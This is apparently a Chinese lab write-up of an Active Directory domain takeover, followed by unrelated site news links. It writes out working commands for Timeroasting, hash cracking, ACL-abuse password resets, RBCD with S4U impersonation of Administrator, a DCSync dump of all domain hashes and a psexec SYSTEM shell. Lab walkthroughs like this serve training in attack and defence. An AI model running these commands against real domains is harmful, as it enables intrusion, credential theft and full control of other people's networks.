[无境原创] Time  Machines
目标地址本机地址192.168.111.10192.168.111.25扫描根据下面nmap和fscan扫描结果可知192.168.111.10是域名sec.org的域控DCnmapnmap -sV -Pn 192.168.111.10fscanfscan -h 192.168.111.10同时根据扫描结果配置好host192.168.111.10 ad.sec.org adTimeroasting攻击结合靶场标题与时间相关对其进行timeroasting攻击Timeroasting是一种针对Windows Active DirectoryAD域环境的凭据破解技术。它利用Windows域控制器的时间同步服务Windows Time Service通常称为 W32Time所涉及的MS-SNTP认证机制尝试获取计算机账户相关的加密认证数据再通过离线字典或暴力破解尝试恢复账户密码。nxc smb 192.168.111.10 -M timeroast | grep TIMEROAST | awk {print $NF} timeroast.txthashcat获取筛选后的hash值后进行hashcat爆破经过与备份文件对比发现RID1601账户密码为bmhtawhashcat -m 31300 --username timeroast.txt rockyou.txt又根据靶场简介猜测用户名为mht因为fscan中知晓SMB服务不接受NTLM认证于是利用kerbrute工具去验证kerbrute userenum --dc 192.168.111.10 -d sec.org users.txt先同步域控时间再用密码向KDC换一张TGT存成mht$.ccache文件告诉后续工具去读这个文件里的票sudo ntpdate -u 192.168.111.10#同步域控时间防止换取票据失败getTGT.py -dc-ip 192.168.111.10 sec.org/mht\$:bmhtawexport KRB5CCNAMEmht$.ccache111bloodhound血猎犬上线对域内关系进行整理收集bloodhound-python -c ALL --zip -d sec.org -u mht$ -p bmhtaw -ns 192.168.111.10 -k经过bloodhound探寻找到一条以mht为起点到域控的acl链路ACL链路利用添加MHT进入OPERATIONS组MHT用户对OPERATIONS组拥有AddSelf扩展权限即有权将自己添加进该组。而当MHT用自己的凭据直接把自己mht$加入OPERATIONS组后MHT就继承了OPERATIONS组的所有权限注意因为NTLM被禁用所以所有命令必须带-k强制走KerberosbloodyAD --host ad.sec.org -k -d sec.org -u mht$ -p bmhtaw add groupMember operations mht$修改用户BB的密码OPERATIONS组也就是刚加进来的MHT对用户BB拥有ForceChangePassword权限直接修改为其密码bloodyAD --host ad.sec.org -k -d sec.org -u mht$ -p bmhtaw set password BB hacker123修改DANCINGTIME对象的DACL权限BB对DANCINGTIME这个用户对象拥有WriteDacl权限即可以修改它的DACLWriteDACL不等于能改这个对象的属性。想拿它的完全控制得先把自己的即BB的权限提上去bloodyAD --host ad.sec.org -d sec.org -u BB -p hacker123 -k add genericAll DANCINGTIME$ BB题外话拿到机器账户的GenericAll后最优雅的做法是影子凭据即写msDS-KeyCredentialLink然后再用PKINIT换票因为它绕开改密码的一切限制。bloodyAD --host ad.sec.org -d sec.org -u BB -p hacker123 -k add shadowCredentials DANCINGTIME$结果[] KeyCredential generated with following sha256 of RSA key: 07fb0715...[-] PKINIT failed on DC 192.168.111.10, you must find a Kerberos server with a certification authority![] PKINIT PFX certificate saved at: DANCINGTIME_G6.pfx...kerbad.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPPKDC_ERR_PADATA_TYPE_NOSUPP → DC上没有PKINIT证书域里没有CA或没给DC装智能卡登录证书KDC根本不支持PKINIT预认证。结论影子凭据、certipy、任何证书类攻击全部不可用还是走传统的修改密码用GenericAll重置DANCINGTIME$的密码既然有GenericAll直接重置其密码让我们后续能以DANCINGTIME$的身份登录之后换取DANCINGTIME$的票据bloodyAD --host ad.sec.org -k -d sec.org -u BB -p hacker123 set password DANCINGTIME$ hacker123获取DELE组的完全控制权限换用DANCINGTIME$的身份因为它对DELE组有WriteDACL同样提权限加用户getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:hacker123export KRB5CCNAMEDANCINGTIME$.ccachebloodyAD --host ad.sec.org -d sec.org -u DANCINGTIME$ -p hacker123 -k add genericAll Dele DANCINGTIME$bloodyAD --host ad.sec.org -d sec.org -u DANCINGTIME$ -p hacker123 -k add groupMember DELE mht$重置ZZ的密码DELE组成员拥有对ZZ的密码重置权限bloodyAD --host ad.sec.org -d sec.org -u mht$ -p bmhtaw -k set password ZZ hacker123RBCDZZ对域控计算机账户AD$有AddAllowedToAct权限也就是能写msDS-AllowedToActOnBehalfOfOtherIdentity这是RBCD基于资源的约束委派的开关让某个你控制的机器用户“代表”任意用户去访问DCbloodyAD --host ad.sec.org -d sec.org -u ZZ -p hacker123 -k add rbcd AD$ DANCINGTIME$#把AD$配置成允许DANCINGTIME$代表任意用户访问我因为被委派方必须是带SPN的账户即机器账户默认自带HOST/NAME所以选择DANCINGTIME$来当被委派方冒充域管S4U2Self S4U2ProxyS4U2Self让DANCINGTIME$要一张“证明我是Administrator”的票S4U2Proxy用这张票去换一张真正能访问cifs/ad.sec.org的服务票。getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:hacker123export KRB5CCNAMEDANCINGTIME$.ccache#然后走S4U流程要一张Administrator访问DC的服务票据getST.py -k -no-pass -dc-ip 192.168.111.10 -spn cifs/ad.sec.org -impersonate Administrator sec.org/DANCINGTIME$export KRB5CCNAMEAdministratorcifs_ad.sec.orgSEC.ORG.ccacheDCSync拿下全域哈希secretsdump.py -k -no-pass -just-dc -dc-ip 192.168.111.10 sec.org/Administratorad.sec.orgSHELL利用那张cifs票据拿DC的system shellexport KRB5CCNAMEAdministratorcifs_ad.sec.orgSEC.ORG.ccachepsexec.py -k -no-pass -codec cp936 -dc-ip 192.168.111.10 sec.org/Administratorad.sec.org

相关新闻

芯参谋(59):BLDC电机驱动电路设计指南

芯参谋(59):BLDC电机驱动电路设计指南

BLDC 驱动电路的设计风险不在「会不会画三相全桥」——拓扑是固定的六只管子;真正的功夫在于三处边界:上桥怎么浮起来供电(决定占空比上限)、同桥臂怎么保证不同时导通(决定会不会炸管)、开关瞬间的能量往哪…

2026/11/7 11:11:57 阅读更多 →
前端异步竞态条件排查与根治:从请求乱序到Rea工具实践

前端异步竞态条件排查与根治:从请求乱序到Rea工具实践

上周我花了整整三天排查一个线上故障,最后发现根子竟然是最常见的异步请求顺序问题。这个项目我内部代号叫 Rea——一个只解决异步竞态的小工具。起因是某跨平台系统的列表页,用户快速切换筛选条件时,旧的接口响应偶尔会覆盖新的响应&#xf…

2026/11/8 6:56:08 阅读更多 →
拆解 | CPO 量产元年:铜互连撞上物理墙,瓶颈却不在物理

拆解 | CPO 量产元年:铜互连撞上物理墙,瓶颈却不在物理

拆解 | CPO 量产元年:铜互连撞上物理墙,瓶颈却不在物理 一条 60 毫米的低损耗铜线,在 224G 速率下会衰减 18 到 20 分贝,可用距离塌缩到几十毫米。这条物理数字,把 CPO(共封装光学)从英伟达路线…

2026/11/7 19:33:08 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/11/8 1:19:03 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/11/7 12:08:40 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/11/8 1:35:05 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/11/8 1:38:41 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/11/7 12:08:40 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/11/8 1:23:14 阅读更多 →

日新闻

周新闻

月新闻